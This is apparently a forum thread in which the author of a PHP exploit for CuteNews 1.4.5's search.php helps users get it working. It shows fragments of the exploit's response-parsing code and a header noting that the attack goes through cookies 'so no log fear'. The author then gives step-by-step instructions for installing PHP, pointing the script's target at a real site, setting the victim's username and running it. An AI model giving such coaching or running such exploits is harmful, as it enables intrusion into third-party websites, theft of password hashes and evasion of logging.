// Version 1.1
// written by Janek Vind "waraxe"
// http://www.waraxe.us
// 25. dec 2007
// Estonia, Tartu
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_COOKIE, so no log fear
// 3. Pretesting saves time if Cutenews is not vulnerable
//
// Version 1.1 -> pattern recognize improved
//

This is the code fragment:
| Code: |
if( ($x !== false) && ($y !== false) && ($x < $y) ) $buff = make_get($target, $cookie);
$x = strpos($buff, '<b>Founded News articles [');
$y = strpos($buff, ']:</b>', $x + 25);
{
$buff = trim(substr($buff, $x + 26, $y - $x - 26));
$ret = intval($buff);
if( ($ret > -1) && ($ret < 2) )
{
return $ret;
}
}
}
die('Fatal errror - server down?');
|
So this error message can be little bit misguiding, sorry ...
It means, that server response does not contain "Founded News articles " pattern as expected. I tested my exploit script against many targets and it always worked. In your case this problem can be related to modified Cutenews scripts, so that output is different looking, or there are other malfunctions. I suggest you to write some debugging code right after make_get() function. Example:
| Code: |
$buff = make_get($target, $cookie);
//===========
die("Debug: $buff");
//===========
$x = strpos($buff, '<b>Founded News articles [');
$y = strpos($buff, ']:</b>', $x + 25);
|
In this way you can see in plain text details of server response, and if there is any error messages, like "cannot open file" or something like that, then feel free to post details here. Maybe i am able to help. |

actually i think the problem is
| Code: |
$buff = make_get($target, $cookie);
//===========
die("Debug: $buff");
//===========
$x = strpos($buff, '<b>[b]Founded News articles [/b][');
$y = strpos($buff, ']:</b>', $x + 25); |
instead of the Founded New Articles they have changed it to come in a different font i mean so its not coming with that it gives that text in another langugage.
so can that be a problem ?

And of course - feedback is welcome - let me know if it works |

First download php for windows:
http://www.php.net/downloads.php
Maybe this version is best choice:
http://ee2.php.net/get/php-5.2.5-win32-installer.msi/from/a/mirror
Install it - now you have php in your home PC.
Next copy-paste php code from my exploit and put it in to text file "cutemd5.php". That's the exploit script in php language.
And finally - search for target. You must have url to target website's "search.php" script. Something like this:
| Code: | | http://localhost/cutenews.1.4.5/search.php |
After you have done all these preparations, come back here and let me know. And then i will explain, how to run the exploit.
Onemore thing to do - change username in script to the target's username. |

Now edit your exploit script.
Search for this:
| Code: |
$target = 'http://localhost/cutenews.1.4.5/search.php';
|
and change to your target, example:
| Code: |
$target = 'http://www.mytarget.com/search.php';
|
Next create new text file "go.cmd" and write there "cmd".
After saving that file it's icon should look in windows like old "bat" file. It means, that this file is windows shell script file.
Now double-click on "go.cmd" to execute it.
You should see black window - command prompt.
Type "php" and look, what happens. If PATH parameter is set correctly, then you should see no error messages. If PATH is not set as needed, then error message will show up.
Please try this steps and let me know about results. |

My way.
Create new .txt file and put inside this.
| Code: | Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\cmd]
@="Open DOS here"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\cmd\command]
@="cmd.exe /k\"set path=%path%;z:\\\\tools&&cd %L\\\"" |
Rename this .txt to somename.reg.Rigth click on file>>Merge.
Next.Go to php folder.Right click on php folder "Open DOS here".This is open command prompt.Next open folder where you save your exploit.Type in prompt
example:
php.exe K:\myfolder\myexploit.php
..and press Enter |
